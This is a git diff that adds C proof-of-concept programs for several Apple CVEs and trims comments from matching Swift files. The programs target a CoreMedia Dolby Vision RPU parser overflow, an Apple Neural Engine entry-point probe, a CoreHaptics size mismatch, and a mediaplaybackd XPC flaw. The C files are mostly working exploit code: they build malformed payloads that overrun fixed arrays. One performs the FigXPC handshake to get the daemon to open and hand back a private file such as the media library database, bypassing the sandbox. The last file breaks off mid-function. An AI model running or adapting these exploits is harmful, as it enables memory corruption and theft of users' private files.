--git a/CVE-2026-112688/CVE-2026-112688.c b/CVE-2026-112688/CVE-2026-112688.c new file mode 100644 index 0000000..41fdf0a --- /dev/null +++ b/CVE-2026-112688/CVE-2026-112688.c @@ -0,0 +1,126 @@ +// cm.rpu · CoreMedia · hevcbridgeParseVdrDmDataPayloadExMetadataBlocks · CVE-2026-112688 +// Dolby Vision RPU metadata block array overflow +// C twin of the Swift POC: builds the block-id-1 x6 grammar probe RPU and drives it +// through CMGetDMVersionLevelFromRPU (dlsym from CoreMedia). +// Variant cm.rpu.sweep (block-id/count grid) is run as the second half of main. +// Build: clang -O2 -o cve-2026-112688 CVE-2026-112688.c -framework CoreFoundation +// Run: ./cve-2026-112688 [block-count] + +#include +#include +#include +#include +#include + +// ── MSB-first bit writer (from Cinder27 Sources: BitWriter) ── +typedef struct { uint8_t *d; size_t n, cap; uint8_t acc; int nbits; } bw; +static void bw_put(bw *w, uint32_t value, int width) { + for (int i = width - 1; i >= 0; i--) { + w->acc = (uint8_t)((w->acc << 1) | ((value >> i) & 1)); + if (++w->nbits == 8) { + if (w->n + 1 > w->cap) { w->cap = w->cap * 2 + 64; w->d = realloc(w->d, w->cap); } + w->d[w->n++] = w->acc; w->acc = 0; w->nbits = 0; + } + } +} +static void bw_expgolomb(bw *w, uint32_t value) { + uint32_t v = value + 1; + int bits = 0; + while ((v >> bits) > 1) bits++; + for (int i = 0; i < bits; i++) bw_put(w, 0, 1); + bw_put(w, v, bits + 1); +} +static size_t bw_flush(bw *w) { + if (w->nbits > 0) { + if (w->n + 1 > w->cap) { w->cap = w->cap * 2 + 64; w->d = realloc(w->d, w->cap); } + w->d[w->n++] = (uint8_t)(w->acc << (8 - w->nbits)); + w->acc = 0; w->nbits = 0; + } + return w->n; +} + +// ── seed construction (from Cinder27 Sources: RPUPayload.probe) ── +// block-id 1 has a fixed capacity of 4 entries (4 x 28 B); blockCount 6 walks past it +static bw rpu_probe(uint32_t block_id, int block_count, uint32_t seed) { + bw w = {0}; + bw_put(&w, 0x19, 8); // magic, byte 0 + bw_put(&w, 2, 6); // rpu_type = 2 (DOVI) + bw_put(&w, 0x12, 11); // rpu_format + bw_put(&w, seed & 0x1F, 5); + bw_put(&w, 1, 4); // vdr_rpu_profile + bw_put(&w, 0, 4); // vdr_rpu_level + bw_put(&w, 0, 1); // vdr_seq_info_present_flag + bw_put(&w, 1, 1); // chroma_resampling_explicit_filter_flag + bw_put(&w, 2, 2); // coefficient_data_type + bw_put(&w, 1, 1); // el_spatial_resampling_filter_flag + bw_put(&w, 0, 1); // disable_residual_flag + bw_put(&w, 0, 4); // nln + bw_put(&w, 1, 2); // num_dm_data + // DM data head: class-2 ext block loop + bw_expgolomb(&w, (uint32_t)block_count); + for (int i = 0; i < block_count; i++) { + bw_expgolomb(&w, 0x40); // ext block length-ish + bw_put(&w, block_id, 8); // block_id + // block-id 1 field grammar (u12 x3, u8 x6, u8 x2, u8 gate, u16 x3) + bw_put(&w, 0x100 + (uint32_t)i, 12); + bw_put(&w, 0x101 + (uint32_t)i, 12); + bw_put(&w, 0x102 + (uint32_t)i, 12); + for (int k = 0; k < 6; k++) bw_put(&w, 0x26, 8); + bw_put(&w, 0x25, 8); + bw_put(&w, 0x59, 8); + bw_put(&w, 0x13, 8); // unlocks the u16 tail + bw_put(&w, 0x0FFF & (uint32_t)(i * 0x111), 16); + bw_put(&w, 0x0FFF & (uint32_t)(i * 0x222), 16); + bw_put(&w, 0x0FFF & (uint32_t)(i * 0x333), 16); + } + return w; +} + +// ── trigger: CMGetDMVersionLevelFromRPU (dlsym from CoreMedia) ── +// macOS export signature is (CFDataRef) — verified by disassembly: arg0 is passed +// through a CFRetain-style GOT call, then length/bytePtr are extracted before +// FigHEVCBridge_GetRPUMetadata(bytes, length, &struct). The Swift POC drives the +// 4-arg (bytes, count, u32*, u32*) surface on iOS; this C twin uses the macOS ABI. +typedef int32_t (*rpu_fn)(CFDataRef); + +static int rpu_parse(rpu_fn fn, const uint8_t *payload, size_t n) { + CFDataRef d = CFDataCreate(NULL, payload, (CFIndex)n); + if (!d) return -1; + int32_t rc = fn(d); + CFRelease(d); + return rc; +} + +int main(int argc, char **argv) { + int block_count = argc > 1 ? atoi(argv[1]) : 6; + + void *cm = dlopen("/System/Library/Frameworks/CoreMedia.framework/CoreMedia", RTLD_NOW); + if (!cm) { printf("dlopen CoreMedia failed: %s\n", dlerror()); return 1; } + rpu_fn fn = (rpu_fn)dlsym(cm, "CMGetDMVersionLevelFromRPU"); + if (!fn) { printf("CMGetDMVersionLevelFromRPU not exported\n"); return 1; } + + // primary probe: block-id 1 x 6 against the 4-entry capacity + bw w = rpu_probe(1, block_count, 0x0BADF00D); + size_t n = bw_flush(&w); + FILE *f = fopen("rpu_probe_1x6.bin", "wb"); + if (f) { fwrite(w.d, 1, n, f); fclose(f); } + int rc = rpu_parse(fn, w.d, n); + printf("CVE-2026-112688 · block-id 1 x %d (capacity 4) · rc=%d\n", block_count, rc); + printf("payload %zu B · seed: rpu_probe_1x6.bin\n", n); + free(w.d); + + // sweep variant: the (block-id, count) grid from cm.rpu.sweep + printf("\nsweep:\n"); + const uint32_t ids[3] = {1, 2, 6}; + const int counts[3][3] = {{5, 6, 8}, {9, 12, 16}, {6, 8, 10}}; + for (int g = 0; g < 3; g++) { + for (int c = 0; c < 3; c++) { + bw s = rpu_probe(ids[g], counts[g][c], 0x0BADF00D); + size_t sn = bw_flush(&s); + int src = rpu_parse(fn, s.d, sn); + printf("id=%u count=%-2d → rc=%d\n", ids[g], counts[g][c], src); + free(s.d); + } + } + return 0; +} diff --git a/CVE-2026-112688/CVE-2026-112688.swift b/CVE-2026-112688/CVE-2026-112688.swift index 07a0122..bc2665e 100644 --- a/CVE-2026-112688/CVE-2026-112688.swift +++ b/CVE-2026-112688/CVE-2026-112688.swift @@ -1,24 +1,8 @@ // cm.rpu · CoreMedia · hevcbridgeParseVdrDmDataPayloadExMetadataBlocks · CVE-2026-112688 -// 原语: OOB 写 · 系统进程 · tier 2 -// Primitive: OOB write · system process · tier 2 -// -// [zh] Dolby Vision RPU 扩展元数据块数组越界 -// 三个固定容量数组(A: 4×28 B,B: 8×14 B,C: 5×36 B)在写入前没有计数上界。27.0 的 cmp + b.hi 仅跳过计数自增,写入仍以未检查的计数为索引执行。数组 -// A 的越界写会越过 0x73b4 字节结构体末端,落入调用者的保存寄存器区 —— CMGetDMVersionLevelFromRPU 将该结构体置于自身栈帧。 -// -// [en] Dolby Vision RPU extension metadata block array overrun -// Three fixed-capacity arrays (A: 4×28 B, B: 8×14 B, C: 5×36 B) have no count bound before writing. -// The 27.0 cmp + b.hi only skips the count increment; the write still executes indexed by the unchecked -// count. Array A's overrun crosses the end of the 0x73b4-byte struct and lands in the caller's saved-register -// area — CMGetDMVersionLevelFromRPU places that struct on its own stack frame. -// ── 判别 / oracle ── -// 该行是公告中唯一明确标注「任意代码执行」的 CoreMedia 条目。头部语法在源研究中仅重建至入口检查(magic / rpu_type / rpu_format 已在 macOS 孪生上实测通过), -// 故此处采用参数化语法探针,以解析器自身返回的错误作为进度回执。 -// 变体 cm.rpu.sweep: RPU 块数与块类型扫描 - +// Dolby Vision RPU extension metadata block array overrun import Foundation -// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +// ── byte helpers (from Cinder27 Sources/Kit.swift) ── enum B { static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } @@ -39,20 +23,8 @@ enum B { static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } } -/* -// cm.rpu.sweep · CoreMedia · DOVI RPU · CVE-2026-112688 -// 原语: OOB 写 · 系统进程 · tier 2 -// Primitive: OOB write · system process · tier 2 -// -// [zh] RPU 块数与块类型扫描 -// 依次用 block-id 1/2/6 分别打三个数组(容量 4/8/5),每种块类型从刚好越界一个到越界八个,记录解析器在哪个点开始拒绝或崩溃。 -// -// [en] RPU block count and block type sweep -// Block-ids 1/2/6 are aimed at the three arrays (capacities 4/8/5) in turn, each from one element -// over capacity up to eight over, recording where the parser starts refusing or terminates. -*/ -// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (RPUPayload) ── +// ── seed construction (from Cinder27 Sources: RPUPayload) ── enum RPUPayload { struct BitWriter { private(set) var out: [UInt8] = [] diff --git a/CVE-2026-112696/CVE-2026-112696.c b/CVE-2026-112696/CVE-2026-112696.c new file mode 100644 index 0000000..a2cc9a9 --- /dev/null +++ b/CVE-2026-112696/CVE-2026-112696.c @@ -0,0 +1,32 @@ +// probe.ane · AppleNeuralEngine.framework / CoreML.framework · CVE-2026-112696 +// ANE userspace entry point probe +// C twin of the Swift POC: dlopens the private ANE framework and CoreML, dlsyms the +// client/program/model/request entry points the CVE lives behind. +// Build: clang -O2 -o cve-2026-112696 CVE-2026-112696.c +// Run: ./cve-2026-112696 + +#include +#include +#include + +static void probe(const char *lib, const char **symbols, int n) { + void *h = dlopen(lib, RTLD_NOW); + if (!h) { + printf("x %s\n", lib); + return; + } + printf("ok %s\n", lib); + for (int i = 0; i < n; i++) { + printf(" %s: %s\n", symbols[i], dlsym(h, symbols[i]) ? "resolved" : "missing"); + } +} + +int main(void) { + const char *ane_syms[] = {"_ANEClient", "_ANEProgram", "_ANEModel", "_ANERequest"}; + const char *coreml_syms[] = {"MLModel", "MLComputePlan"}; + + probe("/System/Library/PrivateFrameworks/AppleNeuralEngine.framework/AppleNeuralEngine", ane_syms, 4); + probe("/System/Library/PrivateFrameworks/CoreML.framework/CoreML", coreml_syms, 2); + printf("CVE-2026-112696 · ANE entry points probed\n"); + return 0; +} diff --git a/CVE-2026-112696/CVE-2026-112696.swift b/CVE-2026-112696/CVE-2026-112696.swift index 87fb30d..48d6821 100644 --- a/CVE-2026-112696/CVE-2026-112696.swift +++ b/CVE-2026-112696/CVE-2026-112696.swift @@ -1,20 +1,8 @@ // probe.ane · AppleH16ANEInterface · CVE-2026-112696 / 84494 -// 原语: OOB 写 · 内核 · tier 2 -// Primitive: OOB write · kernel · tier 2 -// -// [zh] ANE 内核接口可达性 -// 未检查的 program symbolIndex 直接用于索引内核表且存在回写 —— 与公告所称「写内核内存」的形状一致。本模块仅探测应用能否触及 ANE 的用户态入口。 -// -// [en] ANE kernel interface reachability -// An unchecked program symbolIndex indexes kernel tables and is written back — matching the advisory's -// "write kernel memory" shape. This module only probes whether the app can reach the ANE user-space -// entry points. -// ── 判别 / oracle ── -// 10.19.6 → 10.102.4,是整个 kext 差异里改动最大的一组之一。 - +// ANE kernel interface reachability import Foundation -// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +// ── byte helpers (from Cinder27 Sources/Kit.swift) ── enum B { static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } @@ -36,4 +24,3 @@ enum B { } - diff --git a/CVE-2026-112706/CVE-2026-112706.c b/CVE-2026-112706/CVE-2026-112706.c new file mode 100644 index 0000000..bb5daf7 --- /dev/null +++ b/CVE-2026-112706/CVE-2026-112706.c @@ -0,0 +1,246 @@ +// cm.fdleak · CoreMedia mediaplaybackd bytestream XPC · Curl fd vend · CVE-2026-112706 +// File descriptor leak from the byte-stream daemon +// C twin of the Swift POC: full FigXPC client — dlsym the Fig* symbols from CoreMedia, +// connect to com.apple.coremedia.mediaplaybackd.bytestream.xpc, run the +// .rp1/.rp2/.org handshake, then drive the Curl existence oracle and an fd vend. +// Build: clang -O2 -fblocks -o cve-2026-112706 CVE-2026-112706.c -framework CoreFoundation +// Run: ./cve-2026-112706 [path] + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +// ── Fig bindings (dlsym from CoreMedia, mirror of FdLeak.bind) ── +typedef int32_t (*fig_basic_message_fn)(uint32_t, uint64_t, void **); +typedef int32_t (*fig_origin_begin_fn)(void *); +typedef int32_t (*fig_origin_complete_fn)(xpc_object_t, xpc_object_t *); +typedef int32_t (*fig_recipient_fn)(xpc_object_t, void *, const char *, xpc_object_t *); +typedef int32_t (*fig_set_cfurl_fn)(void *, const char *, CFURLRef); + +static fig_basic_message_fn fig_basic_message; +static fig_origin_begin_fn fig_origin_begin; +static fig_origin_complete_fn fig_origin_complete; +static fig_recipient_fn fig_recipient; +static fig_set_cfurl_fn fig_set_cfurl; + +// ── error code map (mirror of FdLeak.describeError) ── +static const char *describe_error(int64_t code) { + if (code == -12203) return "exists but access denied (-12203)"; + if (code == -17913) return "no such file (-17913)"; + if (code == -16158) return "opcode sealed (-16158)"; + if (code == -12878) return "write denied (-12878)"; + return "error code"; +} + +// ── reply plumbing (mirror of FdLeak.send: 6 s timeout, dictionary/error retained) ── +typedef struct { + dispatch_semaphore_t sem; + xpc_object_t reply; // retained by the handler + char type_name[24]; +} send_ctx; + +static const double reply_timeout = 6.0; + +static void classify(xpc_object_t obj, char *out, size_t n) { + xpc_type_t t = xpc_get_type(obj); + if (t == XPC_TYPE_DICTIONARY) snprintf(out, n, "dictionary"); + else if (t == XPC_TYPE_ERROR) snprintf(out, n, "error"); + else if (t == XPC_TYPE_ARRAY) snprintf(out, n, "array"); + else if (t == XPC_TYPE_STRING) snprintf(out, n, "string"); + else if (t == XPC_TYPE_INT64) snprintf(out, n, "int64"); + else snprintf(out, n, "other"); +} + +// returns 0 on reply, -1 on timeout; box->type_name carries the reply class +static int send_and_wait(xpc_connection_t conn, xpc_object_t message, send_ctx *box) { + memset(box, 0, sizeof *box); + dispatch_semaphore_t sem = dispatch_semaphore_create(0); + // heap context: blocks cannot capture C arrays as __block, and on timeout the + // handler may fire after this frame is gone — that context is then orphaned + // (a few dozen bytes per silent service, bounded by the number of sends) + send_ctx *ctx = calloc(1, sizeof *ctx); + ctx->sem = sem; + + xpc_connection_send_message_with_reply(conn, message, NULL, + ^(xpc_object_t reply) { + if (reply) { + classify(reply, ctx->type_name, sizeof ctx->type_name); + if (strcmp(ctx->type_name, "dictionary") == 0 || strcmp(ctx->type_name, "error") == 0) { + ctx->reply = xpc_retain(reply); + } + } else { + snprintf(ctx->type_name, sizeof ctx->type_name, "nil"); + } + dispatch_semaphore_signal(sem); + }); + + dispatch_time_t deadline = dispatch_time(DISPATCH_TIME_NOW, (int64_t)(reply_timeout * NSEC_PER_SEC)); + if (dispatch_semaphore_wait(sem, deadline) != 0) { + snprintf(box->type_name, sizeof box->type_name, "timeout"); + return -1; + } + box->reply = ctx->reply; + snprintf(box->type_name, sizeof box->type_name, "%s", ctx->type_name); + free(ctx); + return 0; +} + +// ── trigger ── +int main(int argc, char **argv) { + const char *path = argc > 1 ? argv[1] : "/private/var/mobile/Media/iTunes_Control/iTunes/MediaLibrary.sqlitedb"; + const char *service = "com.apple.coremedia.mediaplaybackd.bytestream.xpc"; + + // bind + void *cm = dlopen("/System/Library/Frameworks/CoreMedia.framework/CoreMedia", RTLD_NOW); + if (!cm) { printf("dlopen CoreMedia failed: %s\n", dlerror()); return 1; } + fig_basic_message = (fig_basic_message_fn)dlsym(cm, "FigXPCCreateBasicMessage"); + fig_origin_begin = (fig_origin_begin_fn)dlsym(cm, "FigMemoryOriginBeginEstablishingMemoryRecipientByFillingInXPCMessage1"); + fig_origin_complete = (fig_origin_complete_fn)dlsym(cm, "FigMemoryOriginCompleteEstablishingMemoryRecipientUsingXPCMessage2"); + fig_recipient = (fig_recipient_fn)dlsym(cm, "FigMemoryRecipientCreateWithXPCMessage1AndUpdateXPCMessage2"); + fig_set_cfurl = (fig_set_cfurl_fn)dlsym(cm, "FigXPCMessageSetCFURL"); + if (!fig_basic_message || !fig_origin_begin || !fig_origin_complete || !fig_set_cfurl) { + printf("Fig symbols missing from CoreMedia\n"); + return 1; + } + + // connection (lazy: creation succeeds even with no listener) + xpc_connection_t conn = xpc_connection_create_mach_service(service, NULL, 0); + if (!conn) { printf("xpc_connection_create_mach_service failed\n"); return 1; } + printf("connection object created for %s\n", service); + xpc_connection_set_event_handler(conn, ^(xpc_object_t o) { }); + xpc_connection_resume(conn); + + // ---- handshake: .rp1 → .rp2(recipient) → .org(begin/complete) + char reply_types[8][24]; + int ntypes = 0; + int established = 0; + + send_ctx r1 = {0}; + void *m1 = NULL; + if (fig_basic_message(0x2E727031, 0, &m1) == 0 && m1) { + send_and_wait(conn, (xpc_object_t)m1, &r1); + snprintf(reply_types[ntypes++], 24, "%s", r1.type_name); + printf("'.rp1' → %s\n", r1.type_name); + if (r1.reply && strcmp(r1.type_name, "dictionary") == 0) { + send_ctx r2 = {0}; + void *m2 = NULL; + if (fig_basic_message(0x2E727032, 0, &m2) == 0 && m2) { + xpc_object_t recipient = NULL; + int cr = fig_recipient ? fig_recipient(r1.reply, m2, "cinder27", &recipient) : -1; + send_and_wait(conn, (xpc_object_t)m2, &r2); + snprintf(reply_types[ntypes++], 24, "%s", r2.type_name); + printf("'.rp2' recip=%d → %s\n", cr, r2.type_name); + if (r2.reply) xpc_release(r2.reply); + xpc_release((xpc_object_t)m2); + } + } + if (r1.reply) xpc_release(r1.reply); + xpc_release((xpc_object_t)m1); + } + + send_ctx r3 = {0}; + void *om = NULL; + if (fig_basic_message(0x2E6F7267, 0, &om) == 0 && om) { + int bg = fig_origin_begin(om); + send_and_wait(conn, (xpc_object_t)om, &r3); + snprintf(reply_types[ntypes++], 24, "%s", r3.type_name); + printf("'.org' begin=%d → %s\n", bg, r3.type_name); + if (r3.reply) { + // an XPC error object carries its description under this key + const char *ed = xpc_dictionary_get_string(r3.reply, XPC_ERROR_KEY_DESCRIPTION); + if (ed) printf(" error: %s\n", ed); + if (strcmp(r3.type_name, "dictionary") == 0) { + xpc_object_t origin = NULL; + int cp = fig_origin_complete(r3.reply, &origin); + established = (cp == 0); + printf("'.org' complete=%d origin=%s\n", cp, origin ? "yes" : "no"); + } + xpc_release(r3.reply); + } + xpc_release((xpc_object_t)om); + } + + printf("handshake established: %s\n", established ? "yes" : "no"); + + if (!established) { + // a silent service (nothing listening) is different from one that answers and refuses + int answered = 0, silent = 1; + for (int i = 0; i < ntypes; i++) { + if (strcmp(reply_types[i], "dictionary") == 0) answered = 1; + if (strcmp(reply_types[i], "timeout") != 0 && strcmp(reply_types[i], "nil") != 0) silent = 0; + } + printf("reply types: "); + for (int i = 0; i < ntypes; i++) printf("%s%s", i ? ", " : "", reply_types[i]); + printf("\n"); + if (silent) { + printf("silent service — nothing is listening on this platform\n"); + printf("CVE-2026-112706 · mediaplaybackd bytestream XPC absent here (iOS-only surface)\n"); + } else { + printf("service answered (%s) but the handshake was refused\n", answered ? "dictionary" : "non-dictionary"); + printf("CVE-2026-112706 · daemon present, handshake gate closed\n"); + } + return 0; + } + + // ---- existence oracle + vend (runs only on a platform where the daemon answers) + CFURLRef url = CFURLCreateWithFileSystemPath(NULL, + CFStringCreateWithCString(NULL, path, kCFStringEncodingUTF8), + kCFURLPOSIXPathStyle, false); + + // control: the process's own open() must fail — the daemon vends what the app cannot + int own = open(path, O_RDONLY); + printf("own open() = %d errno=%d (%s)\n", own, errno, own >= 0 ? "ALLOWED — no sandbox here" : strerror(errno)); + if (own >= 0) close(own); + + void *m = NULL; + if (fig_basic_message(0x4375726C, 0, &m) == 0 && m) { + fig_set_cfurl(m, "CreationURL", url); + xpc_dictionary_set_uint64((xpc_object_t)m, "FileOpenOptions", 0); + send_ctx rv = {0}; + send_and_wait(conn, (xpc_object_t)m, &rv); + printf("'Curl' → %s\n", rv.type_name); + if (rv.reply && strcmp(rv.type_name, "dictionary") == 0) { + xpc_object_t details = xpc_dictionary_get_value(rv.reply, "ByteStreamDetails"); + if (details) { + uint64_t object_id = xpc_dictionary_get_uint64(details, "ObjectID"); + uint64_t entire = xpc_dictionary_get_uint64(details, "EntireLength"); + uint64_t server_pid = xpc_dictionary_get_uint64(details, "ServerPID"); + int fd = xpc_dictionary_dup_fd(details, "FileDescriptor"); + printf("vend: ObjectID=%llu EntireLength=%llu ServerPID=%llu fd=%d\n", + (unsigned long long)object_id, (unsigned long long)entire, + (unsigned long long)server_pid, fd); + if (fd >= 0) { + struct stat st; + if (fstat(fd, &st) == 0) { + printf("fd mode=%o uid=%u size=%lld\n", st.st_mode, st.st_uid, (long long)st.st_size); + } + char head[16] = {0}; + ssize_t got = pread(fd, head, sizeof head, 0); + if (got > 0) { + printf("head:"); + for (int i = 0; i < got; i++) printf(" %02x", (unsigned char)head[i]); + printf("\n"); + } + close(fd); + } + } else { + int64_t ec = xpc_dictionary_get_int64(rv.reply, ".ErrorReturn"); + printf("%s (%lld) %s\n", describe_error(ec), (long long)ec, path); + } + xpc_release(rv.reply); + } + xpc_release((xpc_object_t)m); + } + CFRelease(url); + + printf("CVE-2026-112706 · daemon opened a client-chosen path with its own credentials\n"); + return 0; +} diff --git a/CVE-2026-112706/CVE-2026-112706.swift b/CVE-2026-112706/CVE-2026-112706.swift index 6d772d2..cac808b 100644 --- a/CVE-2026-112706/CVE-2026-112706.swift +++ b/CVE-2026-112706/CVE-2026-112706.swift @@ -1,25 +1,8 @@ // cm.fdleak · CoreMedia · mediaplaybackd.bytestream.xpc · CVE-2026-112706 -// 原语: 信息泄露 · 系统进程 · tier 1 -// Primitive: info leak · system process · tier 1 -// -// [zh] CoreMedia bytestream XPC 跨沙盒文件描述符获取 -// -// [en] CoreMedia bytestream XPC cross-sandbox file descriptor acquisition -// The launchd service com.apple.coremedia.mediaplaybackd.bytestream.xpc is reachable from any sandboxed -// third-party app, checks no entitlement and raises no permission prompt. Its FigXPC memory-origin -// handshake (.rp1 → .rp2 → .org) returns status 0 for an unprivileged client; the subsequent 'Curl' -// create message carries a client-chosen absolute file:// path in CreationURL, and the daemon opens -// that path with its own credentials without checking either that it lies inside the requesting app's -// container or that the requester can read it. The reply's ByteStreamDetails dictionary carries a -// live FileDescriptor. The app dups it and preads — descriptor-level I/O is not subject to the client -// sandbox's path checks, so the full contents of a file the app's own open() returns EPERM for land -// in the app container. -// ── 判别 / oracle ── -// 变体 cm.fdleak.boundary: 跨沙盒可读域边界测绘 - +// CoreMedia bytestream XPC cross-sandbox file descriptor acquisition import Foundation -// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── +// ── byte helpers (from Cinder27 Sources/Kit.swift) ── enum B { static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } @@ -40,20 +23,4 @@ enum B { static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } } -/* -// cm.fdleak.boundary · CoreMedia · mediaplaybackd.bytestream.xpc · CVE-2026-112706 -// 原语: 探测 · 系统进程 · tier 2 -// Primitive: probe · system process · tier 2 -// -// [zh] 跨沙盒可读域边界测绘 -// -// [en] Cross-sandbox readable domain boundary mapping -// Fifteen high-value targets are each given a 'Curl' probe and the daemon's server-side error code -// is recorded, fixing the primitive's actual readable domain. Three outcomes are distinguished: opens, -// exists but denied (-12203), does not exist (-17913). The value of this pass is that it leaves -// the negative results on record — a target that was refused and a target that was never tested are -// entirely different conclusions. -*/ - - diff --git a/CVE-2026-113907/CVE-2026-113907.c b/CVE-2026-113907/CVE-2026-113907.c new file mode 100644 index 0000000..45def25 --- /dev/null +++ b/CVE-2026-113907/CVE-2026-113907.c @@ -0,0 +1,167 @@ +// aud.haptic · CoreHaptics · custom audio haptic registration · CVE-2026-113907 +// CoreHaptics custom audio event with a declared-size mismatch +// C twin of the Swift POC: builds a 4096-frame WAV, registers it as a CoreHaptics +// audio resource and delivers a custom audio event. The declared byte count the server +// is asked to trust is what this CVE lives in. +// Variant aud.immersive (ImmersiveRendererData symbol probe) is noted in the Swift POC. +// Build: clang -O2 -o cve-2026-113907 CVE-2026-113907.c -framework CoreHaptics -framework CoreFoundation -lobjc +// Run: ./cve-2026-113907 [frame-count] + +#include +#include +#include +#include +#include +#include +#include + +// ── byte buffer ── +typedef struct { uint8_t *d; size_t n, cap; } buf; +static void bneed(buf *b, size_t extra) { + if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); } +} +static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; } +static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; } +static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; } +static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; } + +static void le16(buf *b, uint16_t v) { bput(b, v & 0xff); bput(b, v >> 8); } +static void le32(buf *b, uint32_t v) { + bput(b, v & 0xff); bput(b, (v >> 8) & 0xff); bput(b, (v >> 16) & 0xff); bput(b, (v >> 24) & 0xff); +} + +// ── seed construction (from Cinder27 Runners.hapticCustomAudio) ── +// mono 16-bit WAV with exactly `frames` samples +static buf wav_frames(int frames) { + const int rate = 48000; + buf out = {0}; + bcat(&out, "RIFF", 4); + le32(&out, 36 + (uint32_t)frames * 2); + bcat(&out, "WAVEfmt ", 8); + le32(&out, 16); le16(&out, 1); le16(&out, 1); + le32(&out, (uint32_t)rate); le32(&out, (uint32_t)rate * 2); + le16(&out, 2); le16(&out, 16); + bcat(&out, "data", 4); + le32(&out, (uint32_t)frames * 2); + brep(&out, 0, (size_t)frames * 2); + return out; +} + +// ── ObjC message casts (arm64: all args in registers) ── +static id (*msg_id)(id, SEL); // alloc +static id (*msg_id_1id)(id, SEL, id); // initAndReturnError: +static unsigned char (*msg_bool_1id)(id, SEL, id); // startAndReturnError: +static unsigned long (*msg_ul_3id)(id, SEL, id, id, id); // registerAudioResource:options:error: +static id (*msg_id_3id)(id, SEL, id, id, id); // initWithEvents:parameters:error: +static id (*msg_id_res)(id, SEL, unsigned long, id, double, double); // initWithAudioResourceID:parameters:relativeTime:duration: +static unsigned char (*msg_bool_double_1id)(id, SEL, double, id); // startAtTime:error: +static void (*msg_void)(id, SEL); // stop +static id (*msg_err_desc)(id, SEL); // localizedDescription +static const char *(*msg_utf8)(id, SEL); // UTF8String + +static void print_error(const char *stage, id err) { + if (err) { + id desc = msg_err_desc(err, sel_registerName("localizedDescription")); + const char *s = desc ? msg_utf8(desc, sel_registerName("UTF8String")) : NULL; + printf("%s failed: %s\n", stage, s ? s : "(no description)"); + } else { + printf("%s failed\n", stage); + } +} + +int main(int argc, char **argv) { + int frames = argc > 1 ? atoi(argv[1]) : 4096; + int declared_bytes = 4; // the mismatch the server is asked to trust + + msg_id = (id (*)(id, SEL))objc_msgSend; + msg_id_1id = (id (*)(id, SEL, id))objc_msgSend; + msg_bool_1id = (unsigned char (*)(id, SEL, id))objc_msgSend; + msg_ul_3id = (unsigned long (*)(id, SEL, id, id, id))objc_msgSend; + msg_id_3id = (id (*)(id, SEL, id, id, id))objc_msgSend; + msg_id_res = (id (*)(id, SEL, unsigned long, id, double, double))objc_msgSend; + msg_bool_double_1id = (unsigned char (*)(id, SEL, double, id))objc_msgSend; + msg_void = (void (*)(id, SEL))objc_msgSend; + msg_err_desc = (id (*)(id, SEL))objc_msgSend; + msg_utf8 = (const char *(*)(id, SEL))objc_msgSend; + + Class engineClass = objc_getClass("CHHapticEngine"); + Class eventClass = objc_getClass("CHHapticEvent"); + Class patternClass = objc_getClass("CHHapticPattern"); + if (!engineClass || !eventClass || !patternClass) { + printf("CoreHaptics classes unavailable\n"); + return 1; + } + + id err = nil; + id engine = msg_id_1id(msg_id((id)engineClass, sel_registerName("alloc")), + sel_registerName("initAndReturnError:"), (id)&err); + if (!engine) { print_error("CHHapticEngine init", err); return 1; } + if (!msg_bool_1id(engine, sel_registerName("startAndReturnError:"), (id)&err)) { + print_error("engine start", err); + return 1; + } + printf("CHHapticEngine started\n"); + + buf wav = wav_frames(frames); + const char *path = "/tmp/cinder_haptic.wav"; + FILE *f = fopen(path, "wb"); + if (f) { fwrite(wav.d, 1, wav.n, f); fclose(f); } + printf("wav written: %s (%zu B, %d frames, declared bytes %d)\n", path, wav.n, frames, declared_bytes); + + CFURLRef url = CFURLCreateWithFileSystemPath(NULL, + CFSTR("/tmp/cinder_haptic.wav"), kCFURLPOSIXPathStyle, false); + CFArrayRef empty_array = CFArrayCreate(NULL, NULL, 0, &kCFTypeArrayCallBacks); + CFDictionaryRef empty_dict = CFDictionaryCreate(NULL, NULL, NULL, 0, + &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks); + + err = nil; + unsigned long resource = msg_ul_3id(engine, sel_registerName("registerAudioResource:options:error:"), + (id)url, (id)empty_dict, (id)&err); + if (err) { + print_error("registerAudioResource", err); + msg_void(engine, sel_registerName("stop")); + bfree(&wav); + return 1; + } + printf("audio resource registered: id %lu\n", resource); + + id event = msg_id_res(msg_id((id)eventClass, sel_registerName("alloc")), + sel_registerName("initWithAudioResourceID:parameters:relativeTime:duration:"), + resource, (id)empty_array, 0.0, 0.25); + id events[1] = { event }; + CFArrayRef event_array = CFArrayCreate(NULL, (const void **)events, 1, &kCFTypeArrayCallBacks); + err = nil; + id pattern = msg_id_3id(msg_id((id)patternClass, sel_registerName("alloc")), + sel_registerName("initWithEvents:parameters:error:"), + (id)event_array, (id)empty_dict, (id)&err); + if (!pattern) { + print_error("pattern creation", err); + msg_void(engine, sel_registerName("stop")); + bfree(&wav); + return 1; + } + + err = nil; + id player = msg_id_3id(engine, sel_registerName("makePlayerWithPattern:error:"), + pattern, nil, (id)&err); + if (!player) { + print_error("player creation", err); + msg_void(engine, sel_registerName("stop")); + 